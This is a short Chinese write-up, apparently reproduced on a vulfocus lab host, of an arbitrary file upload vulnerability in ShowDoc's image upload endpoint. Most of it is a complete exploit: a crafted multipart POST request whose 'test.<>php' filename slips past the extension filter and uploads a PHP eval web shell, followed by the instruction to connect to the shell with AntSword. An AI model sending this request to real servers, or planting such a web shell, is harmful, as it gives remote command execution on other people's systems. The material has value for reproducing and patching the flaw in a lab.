1.漏洞描述
ShowDoc一个非常适合IT团队的在线API文档、技术文档工具。 api_page存在任意文件上传。
2.打开页面直接抓包后改包
POST /index.php?s=/home/page/uploadImg HTTP/1.1
Host: vulfocus.fofa.so:57700
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617
Content-Length: 265
----------------------------921378126371623762173617
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain
<?php echo '123_test';@eval($_POST[cmd])?>
----------------------------921378126371623762173617--
3.通过回包可以看到文件地址,直接蚁剑连接。